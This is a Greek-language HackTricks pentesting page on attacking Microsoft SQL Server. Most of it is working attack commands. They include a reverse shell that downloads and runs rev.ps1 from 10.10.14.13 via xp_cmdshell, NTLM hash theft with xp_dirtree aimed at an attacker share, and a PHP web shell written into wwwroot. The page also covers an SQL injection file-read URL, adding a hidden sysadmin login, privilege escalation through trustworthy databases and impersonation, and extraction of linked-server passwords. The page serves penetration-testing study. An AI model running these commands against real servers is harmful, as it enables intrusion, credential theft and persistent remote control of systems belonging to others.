mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
565 lines
37 KiB
Markdown
565 lines
37 KiB
Markdown
# 1433 - Ελέγχος Κενών Ασφαλείας MSSQL - Microsoft SQL Server
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
**Ομάδα Ασφάλειας Try Hard**
|
||
|
||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## Βασικές Πληροφορίες
|
||
|
||
Από την [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||
|
||
> **Ο Microsoft SQL Server** είναι ένα **σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με την κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητούνται από άλλες εφαρμογές λογισμικού - οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή σε δίκτυο (συμπεριλαμβανομένου του Διαδικτύου).\\
|
||
|
||
**Προεπιλεγμένη θύρα:** 1433
|
||
```
|
||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||
```
|
||
### **Προεπιλεγμένοι πίνακες συστήματος MS-SQL**
|
||
|
||
* **Βάση δεδομένων master**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς αποθανατίζει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια περίπτωση SQL Server.
|
||
* **Βάση δεδομένων msdb**: Ο SQL Server Agent χρησιμοποιεί αυτήν τη βάση δεδομένων για τη διαχείριση του προγραμματισμού για ειδοποιήσεις και εργασίες.
|
||
* **Βάση δεδομένων model**: Λειτουργεί ως πρότυπο για κάθε νέα βάση δεδομένων στην περίπτωση του SQL Server, όπου οποιεσδήποτε αλλαγές όπως μέγεθος, συλλογή, μοντέλο ανάκτησης και άλλα αντικατοπτρίζονται σε νεοδημιουργημένες βάσεις δεδομένων.
|
||
* **Βάση δεδομένων Resource**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί συστημικά αντικείμενα που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
|
||
* **Βάση δεδομένων tempdb**: Λειτουργεί ως προσωρινή περιοχή αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
|
||
|
||
## Απαρίθμηση
|
||
|
||
### Αυτόματη Απαρίθμηση
|
||
|
||
Αν δεν ξέρετε τίποτα για την υπηρεσία:
|
||
```bash
|
||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||
```
|
||
{% hint style="info" %}
|
||
Αν **δεν έχετε διαπιστευτήρια**, μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Να είστε προσεκτικοί, μπορείτε να **φράξετε λογαριασμούς** αν αποτύχετε να συνδεθείτε αρκετές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη.
|
||
{% endhint %}
|
||
|
||
#### Metasploit (χρειάζεται διαπιστευτήρια)
|
||
```bash
|
||
#Set USERNAME, RHOSTS and PASSWORD
|
||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||
|
||
#Steal NTLM
|
||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
|
||
|
||
#Info gathering
|
||
msf> use admin/mssql/mssql_enum #Security checks
|
||
msf> use admin/mssql/mssql_enum_domain_accounts
|
||
msf> use admin/mssql/mssql_enum_sql_logins
|
||
msf> use auxiliary/admin/mssql/mssql_findandsampledata
|
||
msf> use auxiliary/scanner/mssql/mssql_hashdump
|
||
msf> use auxiliary/scanner/mssql/mssql_schemadump
|
||
|
||
#Search for insteresting data
|
||
msf> use auxiliary/admin/mssql/mssql_findandsampledata
|
||
msf> use auxiliary/admin/mssql/mssql_idf
|
||
|
||
#Privesc
|
||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
|
||
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
|
||
|
||
#Code execution
|
||
msf> use admin/mssql/mssql_exec #Execute commands
|
||
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||
|
||
#Add new admin user from meterpreter session
|
||
msf> use windows/manage/mssql_local_auth_bypass
|
||
```
|
||
### [**Χυδαιός Εκφορτισμός**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||
|
||
### Χειροκίνητη Απαρίθμηση
|
||
|
||
#### Σύνδεση
|
||
```bash
|
||
# Using Impacket mssqlclient.py
|
||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
|
||
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||
|
||
# Using sqsh
|
||
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
|
||
## In case Windows Auth using "." as domain name for local user
|
||
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
||
## In sqsh you need to use GO after writting the query to send it
|
||
1> select 1;
|
||
2> go
|
||
```
|
||
#### Κοινή Απαρίθμηση
|
||
```sql
|
||
# Get version
|
||
select @@version;
|
||
# Get user
|
||
select user_name();
|
||
# Get databases
|
||
SELECT name FROM master.dbo.sysdatabases;
|
||
# Use database
|
||
USE master
|
||
|
||
#Get table names
|
||
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
|
||
#List Linked Servers
|
||
EXEC sp_linkedservers
|
||
SELECT * FROM sys.servers;
|
||
#List users
|
||
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
|
||
#Create user with sysadmin privs
|
||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
||
```
|
||
#### Λήψη Χρήστη
|
||
|
||
{% content-ref url="types-of-mssql-users.md" %}
|
||
[types-of-mssql-users.md](types-of-mssql-users.md)
|
||
{% endcontent-ref %}
|
||
```sql
|
||
# Get all the users and roles
|
||
select * from sys.database_principals;
|
||
## This query filters a bit the results
|
||
select name,
|
||
create_date,
|
||
modify_date,
|
||
type_desc as type,
|
||
authentication_type_desc as authentication_type,
|
||
sid
|
||
from sys.database_principals
|
||
where type not in ('A', 'R')
|
||
order by name;
|
||
|
||
## Both of these select all the users of the current database (not the server).
|
||
## Interesting when you cannot acces the table sys.database_principals
|
||
EXEC sp_helpuser
|
||
SELECT * FROM sysusers
|
||
```
|
||
#### Λήψη Δικαιωμάτων
|
||
|
||
1. **Δυνατότητα:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε:
|
||
* **Διακομιστής** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, ομάδες διαθεσιμότητας και ρόλους διακομιστή.
|
||
* **Βάση Δεδομένων** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες.
|
||
* **Σχήμα** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κλπ.
|
||
2. **Δικαίωμα:** Συνδέεται με τα δυνατά του SQL Server, δικαιώματα όπως ALTER, CONTROL και CREATE μπορούν να χορηγηθούν σε έναν αρχέτυπο. Η διαχείριση των δικαιωμάτων πραγματοποιείται σε δύο επίπεδα:
|
||
* Στο **Επίπεδο Διακομιστή** χρησιμοποιώντας συνδέσεις
|
||
* Στο **Επίπεδο Βάσης Δεδομένων** χρησιμοποιώντας χρήστες
|
||
3. **Αρχέτυπο:** Αυτός ο όρος αναφέρεται στο οντότητα που έχει χορηγηθεί άδεια πρόσβασης σε ένα δυνατό. Τα αρχέτυπα περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα δυνατά πραγματοποιείται μέσω της χορήγησης ή απόρριψης δικαιωμάτων ή με τη συμπερίληψη συνδέσεων και χρηστών σε ρόλους εξοπλισμένους με δικαιώματα πρόσβασης.
|
||
```sql
|
||
# Show all different securables names
|
||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||
# Show all possible permissions in MSSQL
|
||
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
|
||
# Get all my permissions over securable type SERVER
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
|
||
# Get all my permissions over a database
|
||
USE <database>
|
||
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
|
||
# Get members of the role "sysadmin"
|
||
Use master
|
||
EXEC sp_helpsrvrolemember 'sysadmin';
|
||
# Get if the current user is sysadmin
|
||
SELECT IS_SRVROLEMEMBER('sysadmin');
|
||
# Get users that can run xp_cmdshell
|
||
Use master
|
||
EXEC sp_helprotect 'xp_cmdshell'
|
||
```
|
||
## Κόλπα
|
||
|
||
### Εκτέλεση Εντολών Λειτουργικού Συστήματος
|
||
|
||
{% hint style="danger" %}
|
||
Σημείωση ότι για να είναι δυνατή η εκτέλεση εντολών, είναι απαραίτητο όχι μόνο να έχετε ενεργοποιημένο το **`xp_cmdshell`**, αλλά επίσης να έχετε το **δικαίωμα ΕΚΤΕΛΕΣΗΣ στην αποθηκευμένη διαδικασία `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει το **`xp_cmdshell`** με:
|
||
```sql
|
||
Use master
|
||
EXEC sp_helprotect 'xp_cmdshell'
|
||
```
|
||
{% endhint %}
|
||
```bash
|
||
# Username + Password + CMD command
|
||
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
||
# Username + Hash + PS command
|
||
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||
|
||
# Check if xp_cmdshell is enabled
|
||
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
|
||
|
||
# This turns on advanced options and is needed to configure xp_cmdshell
|
||
sp_configure 'show advanced options', '1'
|
||
RECONFIGURE
|
||
#This enables xp_cmdshell
|
||
sp_configure 'xp_cmdshell', '1'
|
||
RECONFIGURE
|
||
|
||
#One liner
|
||
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||
|
||
# Quickly check what the service account is via xp_cmdshell
|
||
EXEC master..xp_cmdshell 'whoami'
|
||
# Get Rev shell
|
||
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
|
||
|
||
# Bypass blackisted "EXEC xp_cmdshell"
|
||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||
```
|
||
### Κλέψτε το hash του NetNTLM / Επίθεση Relay
|
||
|
||
Πρέπει να ξεκινήσετε ένα **διακομιστή SMB** για να αιχμαλωτίσετε το hash που χρησιμοποιείται στην πιστοποίηση (`impacket-smbserver` ή `responder` για παράδειγμα).
|
||
```bash
|
||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
|
||
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
|
||
|
||
# Capture hash
|
||
sudo responder -I tun0
|
||
sudo impacket-smbserver share ./ -smb2support
|
||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||
```
|
||
{% hint style="warning" %}
|
||
Μπορείτε να ελέγξετε αν ποιος (εκτός από τους συστημικούς διαχειριστές) έχει δικαιώματα να εκτελέσει αυτές τις λειτουργίες MSSQL με:
|
||
```sql
|
||
Use master;
|
||
EXEC sp_helprotect 'xp_dirtree';
|
||
EXEC sp_helprotect 'xp_subdirs';
|
||
EXEC sp_helprotect 'xp_fileexist';
|
||
```
|
||
{% endhint %}
|
||
|
||
Χρησιμοποιώντας εργαλεία όπως το **responder** ή το **Inveigh** είναι δυνατόν να **κλέψετε το NetNTLM hash**.\
|
||
Μπορείτε να δείτε πως να χρησιμοποιήσετε αυτά τα εργαλεία στο:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Κατάχρηση των Αξιόπιστων Συνδέσεων του MSSQL
|
||
|
||
[**Διαβάστε αυτή την ανάρτηση**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για περισσότερες πληροφορίες σχετικά με το πώς να καταχρηστείτε αυτό το χαρακτηριστικό:**
|
||
|
||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **Εγγραφή Αρχείων**
|
||
|
||
Για να εγγράψετε αρχεία χρησιμοποιώντας το `MSSQL`, **χρειάζεται να ενεργοποιήσετε** τις [**Διαδικασίες Αυτοματισμού Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), οι οποίες απαιτούν δικαιώματα διαχειριστή, και στη συνέχεια να εκτελέσετε ορισμένες αποθηκευμένες διαδικασίες για τη δημιουργία του αρχείου:
|
||
```bash
|
||
# Enable Ole Automation Procedures
|
||
sp_configure 'show advanced options', 1
|
||
RECONFIGURE
|
||
|
||
sp_configure 'Ole Automation Procedures', 1
|
||
RECONFIGURE
|
||
|
||
# Create a File
|
||
DECLARE @OLE INT
|
||
DECLARE @FileID INT
|
||
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
|
||
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
|
||
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
|
||
EXECUTE sp_OADestroy @FileID
|
||
EXECUTE sp_OADestroy @OLE
|
||
```
|
||
### **Ανάγνωση αρχείου με** OPENROWSET
|
||
|
||
Από προεπιλογή, το `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει πρόσβαση ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε το ακόλουθο ερώτημα SQL:
|
||
```sql
|
||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||
```
|
||
Ωστόσο, η επιλογή **`BULK`** απαιτεί την άδεια **`ADMINISTER BULK OPERATIONS`** ή την άδεια **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||
```
|
||
#### Σφάλμα βασισμένο διάνυσμα για SQLi:
|
||
```
|
||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||
```
|
||
### **RCE/Ανάγνωση αρχείων εκτέλεσης σεναρίων (Python και R)**
|
||
|
||
Το MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελεστεί από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί το **xp\_cmdshell** για να εκτελέσει εντολές.
|
||
|
||
Παράδειγμα προσπάθειας εκτέλεσης ενός **'R'** _"Καλημέρα Κόσμε!"_ **που δεν λειτουργεί**:
|
||
|
||
![](<../../.gitbook/assets/image (393).png>)
|
||
|
||
Παράδειγμα χρήσης προσαρμοσμένου Python για να εκτελέσει διάφορες ενέργειες:
|
||
```sql
|
||
# Print the user being used (and execute commands)
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
|
||
#Open and read a file
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
|
||
#Multiline
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
|
||
import sys
|
||
print(sys.version)
|
||
'
|
||
GO
|
||
```
|
||
### Διαβάστε το Μητρώο
|
||
|
||
Το Microsoft SQL Server παρέχει **πολλές επεκτεινόμενες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||
|
||
| **Κανονικό** | **Ευαισθησία στο Παράδειγμα** |
|
||
| ---------------------------- | -------------------------------------- |
|
||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
||
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
||
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
||
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
||
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
||
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
||
```sql
|
||
# Example read registry
|
||
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
|
||
# Example write and then read registry
|
||
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
|
||
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
|
||
# Example to check who can use these functions
|
||
Use master;
|
||
EXEC sp_helprotect 'xp_regread';
|
||
EXEC sp_helprotect 'xp_regwrite';
|
||
```
|
||
Για **περισσότερα παραδείγματα** ανατρέξτε στην [**πρωτότυπη πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||
|
||
### RCE με MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||
|
||
Είναι δυνατόν να **φορτώσετε ένα .NET dll μέσα στο MSSQL με προσαρμοσμένες λειτουργίες**. Αυτό, ωστόσο, **απαιτεί πρόσβαση στο `dbo`**, οπότε χρειάζεστε σύνδεση με τη βάση δεδομένων **ως `sa` ή με ρόλο Διαχειριστή**.
|
||
|
||
[**Ακολουθώντας αυτόν τον σύνδεσμο**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) μπορείτε να δείτε ένα παράδειγμα.
|
||
|
||
### Άλλοι τρόποι για RCE
|
||
|
||
Υπάρχουν και άλλες μεθόδοι για την εκτέλεση εντολών, όπως η προσθήκη [επεκτεσμένων αποθηκευμένων διαδικασιών](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [εξωτερικά scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||
|
||
## Ανόδος Προνομίων στο MSSQL
|
||
|
||
### Από db\_owner σε sysadmin
|
||
|
||
Αν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν διαχειριστή** χρήστη (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, ο χρήστης αυτός μπορεί να εκμεταλλευτεί αυτά τα προνόμια για **ανόδο προνομίων** επειδή **αποθηκευμένες διαδικασίες** που δημιουργούνται εκεί μπορούν να **εκτελεστούν** ως ιδιοκτήτης (**διαχειριστής**).
|
||
```sql
|
||
# Get owners of databases
|
||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||
|
||
# Find trustworthy databases
|
||
SELECT a.name,b.is_trustworthy_on
|
||
FROM master..sysdatabases as a
|
||
INNER JOIN sys.databases as b
|
||
ON a.name=b.name;
|
||
|
||
# Get roles over the selected database (look for your username as db_owner)
|
||
USE <trustworthy_db>
|
||
SELECT rp.name as database_role, mp.name as database_user
|
||
from sys.database_role_members drm
|
||
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
|
||
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
|
||
|
||
# If you found you are db_owner of a trustworthy database, you can privesc:
|
||
--1. Create a stored procedure to add your user to sysadmin role
|
||
USE <trustworthy_db>
|
||
|
||
CREATE PROCEDURE sp_elevate_me
|
||
WITH EXECUTE AS OWNER
|
||
AS
|
||
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
|
||
|
||
--2. Execute stored procedure to get sysadmin role
|
||
USE <trustworthy_db>
|
||
EXEC sp_elevate_me
|
||
|
||
--3. Verify your user is a sysadmin
|
||
SELECT is_srvrolemember('sysadmin')
|
||
```
|
||
Μπορείτε να χρησιμοποιήσετε ένα **module του metasploit**:
|
||
```bash
|
||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||
```
|
||
Ή ένα **PS** script:
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||
```
|
||
### Προσωποποίηση άλλων χρηστών
|
||
|
||
Το SQL Server έχει ένα ειδικό δικαίωμα, με το όνομα **`IMPERSONATE`**, που **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τα δικαιώματα ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναφερθεί ο πλαίσιο ή να λήξει η συνεδρία.
|
||
```sql
|
||
# Find users you can impersonate
|
||
SELECT distinct b.name
|
||
FROM sys.server_permissions a
|
||
INNER JOIN sys.server_principals b
|
||
ON a.grantor_principal_id = b.principal_id
|
||
WHERE a.permission_name = 'IMPERSONATE'
|
||
# Check if the user "sa" or any other high privileged user is mentioned
|
||
|
||
# Impersonate sa user
|
||
EXECUTE AS LOGIN = 'sa'
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
```
|
||
{% hint style="info" %}
|
||
Αν μπορείτε να προσωποποιήσετε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξετε αν ο χρήστης έχει πρόσβαση σε άλλες βάσεις δεδομένων ή συνδεδεμένους διακομιστές.
|
||
{% endhint %}
|
||
|
||
Σημειώστε ότι αφού γίνετε sysadmin μπορείτε να προσωποποιήσετε οποιονδήποτε άλλο:
|
||
```sql
|
||
-- Impersonate RegUser
|
||
EXECUTE AS LOGIN = 'RegUser'
|
||
-- Verify you are now running as the the MyUser4 login
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
-- Change back to sa
|
||
REVERT
|
||
```
|
||
Μπορείτε να εκτελέσετε αυτήν την επίθεση με ένα **module του metasploit**:
|
||
```bash
|
||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||
```
|
||
ή με ένα σενάριο **PS**:
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||
```
|
||
## Χρήση του MSSQL για Διατήρηση
|
||
|
||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||
|
||
## Εξαγωγή κωδικών πρόσβασης από SQL Server Linked Servers
|
||
|
||
Ένας επιτιθέμενος μπορεί να εξάγει κωδικούς πρόσβασης από τους συνδεδεμένους διακομιστές SQL Server από τις προσβάσεις SQL και να τους λάβει σε καθαρό κείμενο, χορηγώντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερη εδρά στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών που αποθηκεύονται για τους συνδεδεμένους διακομιστές μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||
|
||
Κάποιες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν για να λειτουργήσει αυτή η εκμετάλλευση. Καταρχάς, πρέπει να έχετε δικαιώματα Διαχειριστή στον υπολογιστή ή τη δυνατότητα να διαχειρίζεστε τις ρυθμίσεις του SQL Server.
|
||
|
||
Μετά την επικύρωση των δικαιωμάτων σας, πρέπει να διαμορφώσετε τρία πράγματα, τα οποία είναι τα ακόλουθα:
|
||
|
||
1. Ενεργοποίηση του TCP/IP στις περιπτώσεις του SQL Server;
|
||
2. Προσθήκη ενός παραμέτρου εκκίνησης, σε αυτήν την περίπτωση, θα προστεθεί ένα σημάδι ανίχνευσης, το οποίο είναι το -T7806.
|
||
3. Ενεργοποίηση απομακρυσμένης διαχείρισης διασύνδεσης.
|
||
|
||
Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαιτούμενα σενάρια. Εκτός από ένα σενάριο PowerShell για κάθε βήμα της διαμόρφωσης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια διαμόρφωσης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης.
|
||
|
||
